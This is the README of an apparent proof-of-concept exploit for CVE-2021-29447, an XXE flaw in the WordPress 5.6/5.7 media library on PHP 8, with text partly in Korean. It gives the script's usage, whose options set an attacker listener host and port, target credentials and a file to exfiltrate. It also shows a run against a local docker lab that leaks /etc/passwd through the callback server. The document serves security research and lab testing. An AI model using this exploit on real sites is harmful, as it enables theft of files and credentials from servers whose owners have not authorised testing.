
CVE-2021-29447용 PoC
이 저장소는 PHP 8을 사용하는 WordPress 5.6 및 5.7에 영향을 미치는 CVE-2021-29447 취약점에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 이 익스플로잇은 파일 업로드 권한이 있는 공격자가 미디어 라이브러리의 XML 파싱 취약점을 악용하여 XXE(XML External Entity) 공격을 수행하고, 결과적으로 대상 환경에서 로컬 파일을 외부로 유출할 수 있음을 보여줍니다.
이 프로젝트는 교육, 연구 및 승인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않거나 테스트할 명시적 권한이 없는 시스템에서 이 코드를 사용하지 마십시오.
저자는 어떠한 손해나 오용에 대해 책임을 지지 않습니다.
┌──(magicrc㉿perun)-[~/code/CVE-2021-29447]
└─$ python3 ./CVE-2021-29447.py
usage: python3 ./CVE-2021-29447.py [--lhost LHOST] [--lport LPORT] [--target TARGET] [--user USER] [--password PASSWORD] [--file FILE] [--timeout TIMEOUT]
options:
--lhost LHOST IP address of the HTTP server, must be reachable by the target, server itself binds to 0.0.0.0
--lport LPORT Local port for the HTTP server to bind to
--target TARGET Full URL of the WordPress target
--user USER Username used to authenticate with the WordPress site
--password PASSWORD Password for the specified WordPress user
--file FILE Absolute path of the file to attempt exfiltration from the target system
--timeout TIMEOUT Maximum number of seconds to wait for the exfiltration callback before shutting down the server
Example: python3 ./CVE-2021-29447.py --lhost 10.10.14.157 --lport 8080 --target http://target.com --user user --password pass --file /etc/passwd
제공된 docker-compose(wordpress:5.7.0-php8.0용)를 기반으로 합니다.
┌──(magicrc㉿perun)-[~/code/CVE-2021-29447]
└─$ python3 ./CVE-2021-29447.py --lhost 172.17.0.1 --lport 8000 --target http://127.0.0.1:8080 --user admin --password '%rae2eX)mogPXX&$$r' --file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin